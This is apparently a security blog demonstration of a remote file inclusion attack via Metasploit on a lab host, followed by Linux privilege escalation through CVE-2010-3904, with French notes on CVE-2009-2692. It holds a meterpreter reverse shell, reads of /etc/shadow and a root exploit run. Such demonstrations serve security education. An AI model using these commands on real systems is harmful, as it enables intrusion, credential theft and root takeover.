Remote File Inclusion and privilege escalation through Metasploit

Demonstration of a RFI (Remote File Inclusion) attack followed by a privilege escalation through Metasploit. The privilege escalation will be done through the CVE-2010-3904 Linux RDS Protocol vulnerability.

Vulnerable web page creation

mkdir 1
vi 1/index.php


chown -R apache:apache 1

Vulnerable web page exploitation through Metasploit

use exploit/unix/webapp/php_include
show options
set PATH /1/
set PHPURI /index.php?COLOR=XXpathXX
set RHOST 192.168.178.47
ifconfig
set SRVHOST 192.168.178.21
show options

set PAYLOAD php/meterpreter_reverse_tcp
show options
set LHOST 192.168.178.21
exploit

getuid
getpid
ps
sysinfo
pwd
ls
cat index.php
cat /etc/shadow

lwpd
lcd /home/eromang/exploits/linux/local_escal­ations
upload linux-rds-exploit_CVE-2010-3904

execute -i -f bash
id
chmod u+x linux-rds-exploit_CVE-2010-3904
./linux-rds-exploit_CVE-2010-3904
id
cat /etc/shadow

Video demonstration

CVE-2010-3904: Linux RDS Protocol Local Privilege Escalation

Timeline :

Vulnerability discovered by Dan Rosenberg
Vulnerability disclosed to the vendor the 2010-10-13
Coordinated vulnerability disclosure the 2010-10-19

PoC provided by :

Dan Rosenberg

Reference(s) :

CVE-2010-3904

Affected version(s) :

Kernel Linux 2.6.30 to 2.6.36-rc8

Tested on Ubuntu 10.04

Description :

On October 13th, VSR identified a vulnerability in the RDS protocol, as implemented in the Linux kernel. Because kernel functions responsible for copying data between kernel and user space failed to verify that a user-provided address actually resided in the user segment, a local attacker could issue specially crafted socket function calls to write abritrary values into kernel memory. By leveraging this capability, it is possible for unprivileged users to escalate privileges to root.

Demonstration :

CVE-2009-2692 : Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit

Tavis Ormandy (ancien responsable de la sécurité chez Gentoo) et Julien Tinnes de “Google Security Team” ont découvert une vulnérabilité locale importante dans le Kernel Linux, toute les versions Kernel Linux 2.4.4 à 2.4.37.4, et 2.6.0 à 2.6.30.4 sont vulnérables.

Un utilisateur local malveillant pourrait par le biais de cette vulnérabilité prendre un contrôle total du système. Quand on voit le nombre de vulnérabilité RFI qui traînent sur Internet, l’on peut imaginer que cette vulnérabilité va faire très très mal dans les jours et semaines qui viennent.

Ce qui est encore plus inquiétant c’est que cette vulnérabilité est présente dans le Kernel Linux depuis près de 8 ans !!! Est-ce que cette vulnérabilité n’a pas été exploitée auparavant, on peut douter que non … si les membres de l’équipe Google Security Team l’ont découverte, d’autres l’ont sûrement aussi découverte.

Une mise à jour a été mise à disposition, afin de combler cette vulnérabilité, par les dévelopeurs du Kernel Linux.

Un exploit est disponible sur Milw0rm depuis le 14 Août, la vidéo ci-dessous et le test que j’ai effectué démontre qu’il fonctionne à merveille (sic.) !